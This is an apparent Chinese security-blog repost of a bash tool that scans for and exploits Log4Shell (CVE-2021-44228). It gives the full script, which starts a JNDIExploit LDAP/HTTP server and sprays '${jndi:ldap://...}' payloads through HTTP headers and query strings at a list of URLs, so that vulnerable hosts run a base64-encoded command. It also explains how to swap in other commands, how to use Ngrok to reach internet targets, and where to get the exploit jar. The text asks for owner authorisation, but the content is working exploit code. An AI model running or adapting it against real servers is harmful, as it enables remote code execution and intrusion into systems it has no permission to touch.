一个bash脚本可以远程识别Log4j CVE-2021-44228漏洞
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/julian911015/Log4j-Scanner-Exploit
Log4Shell-Scanner-Exploit
一个bash脚本,允许远程识别和/或利用Log4shell漏洞。该工具使用LDAP有效载荷和X-Api-Version、User-Agent和X-Forwarded-For标头进行了若干测试。
在使用这个脚本时,一定要事先得到被审计服务/应用的所有者的授权。
sh脚本
Log4Shell_Scanner.sh
#! /bin/bash
# *****************************************************************************************************************
# Script en bash que permite identificar y/o explotar la vulnerabilidad Log4shell de forma remota.
# Autor: Julian David Delgado Piraquive - H4ggen
# Siempre utilizar este script con la autorización previa del propietario del servicio o aplicación auditada
# ¡Hack your Mind!
# *****************************************************************************************************************
# Debes ingresar los siguientes parámetros:
# 1. Diccionario de URLs a escanear
# 2. Dirección IP del servidor LDAP
# 3. Puerto servidor LDAP
# 4. Dirección IP servidor HTTP
# 5. Puerto servidor HTTP
# EJEMPLO /Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>
trap ctrl_c INT #Función salir con Control+C
function ctrl_c(){
tput cnorm
echo -e "\n\n[!] Saliendo..."
kill %
exit 1
}
EJEMPLO="./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>"
if [ -z "$1" ];then
echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique el diccionario de URLs a escanear.'
echo $EJEMPLO
elif [ -z "$2" ];then
echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique la IP del servidor LDAP.'
echo $EJEMPLO
elif [ -z "$3" ];then
echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique el Puerto servidor LDAP.'
echo $EJEMPLO
elif [ -z "$4" ];then
echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique la IP del servidor HTTP.'
echo $EJEMPLO
elif [ -z "$5" ];then
echo -e '\e[0;31mFALTAN DATOS!\e[0m Por favor indique el Puerto del servidor HTTP.'
echo $EJEMPLO
else
echo -e '\e[1;34mEl diccionario de URLs seleccionado es:\e[0m' $1
echo -e '\e[1;34mEl servidor LDAP seleccionado es:\e[0m' $2':'$3
echo -e '\e[1;34mEl servidor HTTP seleccionado es:\e[0m' $4':'$5
echo -e '\n\e[1;34mIniciando Servidor LDAP y HTTP:\e[0m'
# Para analizar aplicaciones en internet puedes utilizar Ngrok, lo único que debes hacer es quitar el parámetro "-l $3" de la siguiente linea:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l $3 -i $4 -p $5 & 1> /dev/null
sleep 5
echo -e '\n\e[1;34mIniciando Análisis utilizando X-Api-Version, User-Agent, X-Forwarded-For y LDAP Payload:\e[0m'
payloadheader='${jndi:ldap://'$2':'$3'/Basic/Command/Base64/aWZjb25maWc=}'
payload='?foo=$\{jndi:ldap://'$2':'$3'/Basic/Command/Base64/aWZjb25maWc=\}'
while read line;do
echo -e '\e[1;34mEscaneando\e[0m: '$line
curl -s --max-time 5 $line -H 'X-Api-Version: '$payloadheader'' > /dev/null
curl -s --max-time 5 $line -H 'User-Agent: '$payloadheader}'' > /dev/null
curl -s --max-time 5 $line -H 'X-Forwarded-For: '$payloadheader}'' > /dev/null
curl -s --max-time 5 "$line$payload" > /dev/null
sleep 1
done < $1
fi
kill %
exit
依赖性
- 下载并解压以下文件以启动LDAP和HTTP服务器:http://tiny.cc/t0smuz
- 安装了Java,你可以使用的命令
sudo apt install default-jre - 已安装Curl ,你可以使用的命令
sudo apt-get install curl
使用实例
输入以下参数
- 要扫描的URL列表
- LDAP服务器的IP地址
- LDAP服务器端口
- HTTP服务器的IP地址
- HTTP服务器端口
在内部网络上扫描应用程序的例子
./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

互联网上的应用扫描实例
./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

澄清
所用的有效载荷向被确定为易受攻击的机器发送 "ifconfig "命令,这个有效载荷是Base64编码的,可以被修改以在五次测试审计中执行利用阶段。如果你想在互联网服务上使用该工具,你可以启动一个Ngrok服务,做一个端口转发到LDAP服务器的本地端口。
始终在事先得到被分析的服务/应用的所有者授权的情况下使用这个脚本。
标签:工具分享, 漏洞分享, 扫描工具, java安全, log4j